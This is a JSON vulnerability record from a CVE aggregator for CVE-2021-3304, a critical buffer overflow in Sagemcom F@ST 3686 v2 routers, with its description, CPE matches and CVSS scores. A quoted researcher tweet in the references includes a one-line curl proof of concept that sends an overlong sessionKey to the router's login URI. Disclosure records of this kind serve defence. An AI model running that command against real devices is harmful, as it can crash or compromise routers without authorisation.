{"api_version":"1","generated_at":"2026-06-25T10:16:01+00:00","cve":"CVE-2021-3304","urls":{"html":"https://cve.report/CVE-2021-3304","api":"https://cve.report/api/cve/CVE-2021-3304.json","docs":"https://cve.report/api","cve_org":"https://www.cve.org/CVERecord?id=CVE-2021-3304","nvd":"https://nvd.nist.gov/vuln/detail/CVE-2021-3304"},"summary":{"title":"CVE-2021-3304","description":"Sagemcom F@ST 3686 v2 3.495 devices have a buffer overflow via a long sessionKey to the goform/login URI.","state":"PUBLIC","assigner":"cve@mitre.org","published_at":"2021-01-26 18:16:00","updated_at":"2021-02-03 15:57:00"},"problem_types":["CWE-120"],"metrics":[],"references":[{"url":"https://twitter.com/j0nh4t/status/1349649975479840769","name":"https://twitter.com/j0nh4t/status/1349649975479840769","refsource":"MISC","tags":["Exploit","Third Party Advisory"],"title":"jonhat auf Twitter: \"Sagemcom F@ST3686 buf overflow. Reported 4 months ago, no fix. Mitigate by changing default IPs & remote management off.\n\np=$(python -c 'print(\"A\"*69)');curl --data \"foo\" http://192.168.1.1/goform/login?sessionKey=$p\n\nAnything over 68 chars overflows, I named it SESSION69 :D… https://t.co/9Wyj9Ykf3w\"","mime":"text/html","httpstatus":"200","archivestatus":"200"},{"url":"https://www.cve.org/CVERecord?id=CVE-2021-3304","name":"CVE Program record","refsource":"CVE.ORG","tags":["canonical"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2021-3304","name":"NVD vulnerability detail","refsource":"NVD","tags":["canonical","analysis"]}],"affected":[],"timeline":[],"solutions":[],"workarounds":[],"exploits":[],"credits":[],"nvd_cpes":[{"cve_year":"2021","cve_id":"3304","vulnerable":"-1","versionEndIncluding":"","cpe1":"cpe","cpe2":"2.3","cpe3":"h","cpe4":"sagemcom","cpe5":"f\\@st_3686","cpe6":"v2","cpe7":"*","cpe8":"*","cpe9":"*","cpe10":"*","cpe11":"*","cpe12":"*","cpe13":"*"},{"cve_year":"2021","cve_id":"3304","vulnerable":"0","versionEndIncluding":"","cpe1":"cpe","cpe2":"2.3","cpe3":"h","cpe4":"sagemcom","cpe5":"f\\@st_3686","cpe6":"v2","cpe7":"*","cpe8":"*","cpe9":"*","cpe10":"*","cpe11":"*","cpe12":"*","cpe13":"*"},{"cve_year":"2021","cve_id":"3304","vulnerable":"0","versionEndIncluding":"1","cpe1":"cpe","cpe2":"2.3","cpe3":"h","cpe4":"sagemcom","cpe5":"f\\@st_3686","cpe6":"v2","cpe7":"*","cpe8":"*","cpe9":"*","cpe10":"*","cpe11":"*","cpe12":"*","cpe13":"*"},{"cve_year":"2021","cve_id":"3304","vulnerable":"1","versionEndIncluding":"","cpe1":"cpe","cpe2":"2.3","cpe3":"o","cpe4":"sagemcom","cpe5":"f\\@st_3686_firmware","cpe6":"3.495","cpe7":"*","cpe8":"*","cpe9":"*","cpe10":"*","cpe11":"*","cpe12":"*","cpe13":"*"},{"cve_year":"2021","cve_id":"3304","vulnerable":"1","versionEndIncluding":"1","cpe1":"cpe","cpe2":"2.3","cpe3":"o","cpe4":"sagemcom","cpe5":"f\\@st_3686_firmware","cpe6":"3.495","cpe7":"*","cpe8":"*","cpe9":"*","cpe10":"*","cpe11":"*","cpe12":"*","cpe13":"*"}],"vendor_comments":[],"enrichments":{"kev":null,"epss":null,"legacy_qids":[]},"source_records":{"cve_program":{"CVE_data_meta":{"ASSIGNER":"cve@mitre.org","ID":"CVE-2021-3304","STATE":"PUBLIC"},"affects":{"vendor":{"vendor_data":[{"product":{"product_data":[{"product_name":"n/a","version":{"version_data":[{"version_value":"n/a"}]}}]},"vendor_name":"n/a"}]}},"data_format":"MITRE","data_type":"CVE","data_version":"4.0","description":{"description_data":[{"lang":"eng","value":"Sagemcom F@ST 3686 v2 3.495 devices have a buffer overflow via a long sessionKey to the goform/login URI."}]},"problemtype":{"problemtype_data":[{"description":[{"lang":"eng","value":"n/a"}]}]},"references":{"reference_data":[{"url":"https://twitter.com/j0nh4t/status/1349649975479840769","refsource":"MISC","name":"https://twitter.com/j0nh4t/status/1349649975479840769"}]}},"nvd":{"publishedDate":"2021-01-26 18:16:00","lastModifiedDate":"2021-02-03 15:57:00","problem_types":["CWE-120"],"metrics":{"baseMetricV3":{"cvssV3":{"version":"3.1","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","attackVector":"NETWORK","attackComplexity":"LOW","privilegesRequired":"NONE","userInteraction":"NONE","scope":"UNCHANGED","confidentialityImpact":"HIGH","integrityImpact":"HIGH","availabilityImpact":"HIGH","baseScore":9.8,"baseSeverity":"CRITICAL"},"exploitabilityScore":3.9,"impactScore":5.9},"baseMetricV2":{"cvssV2":{"version":"2.0","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","accessVector":"NETWORK","accessComplexity":"LOW","authentication":"NONE","confidentialityImpact":"PARTIAL","integrityImpact":"PARTIAL","availabilityImpact":"PARTIAL","baseScore":7.5},"severity":"HIGH","exploitabilityScore":10,"impactScore":6.4,"acInsufInfo":false,"obtainAllPrivilege":false,"obtainUserPrivilege":false,"obtainOtherPrivilege":false,"userInteractionRequired":false}},"configurations":{"CVE_data_version":"4.0","nodes":[{"operator":"AND","children":[{"operator":"OR","children":[],"cpe_match":[{"vulnerable":true,"cpe23Uri":"cpe:2.3:o:sagemcom:f\\@st_3686_firmware:3.495:*:*:*:*:*:*:*","cpe_name":[]}]},{"operator":"OR","children":[],"cpe_match":[{"vulnerable":false,"cpe23Uri":"cpe:2.3:h:sagemcom:f\\@st_3686:v2:*:*:*:*:*:*:*","cpe_name":[]}]}],"cpe_match":[]}]}},"legacy_mitre":{"record":{"CveYear":"2021","CveId":"3304","Ordinal":"201194","Title":"CVE-2021-3304","CVE":"CVE-2021-3304","Year":"2021"},"notes":[{"CveYear":"2021","CveId":"3304","Ordinal":"1","NoteData":"Sagemcom F@ST 3686 v2 3.495 devices have a buffer overflow via a long sessionKey to the goform/login URI.","Type":"Description","Title":null},{"CveYear":"2021","CveId":"3304","Ordinal":"2","NoteData":"2021-01-26","Type":"Other","Title":"Published"},{"CveYear":"2021","CveId":"3304","Ordinal":"3","NoteData":"2021-01-26","Type":"Other","Title":"Modified"}]}}}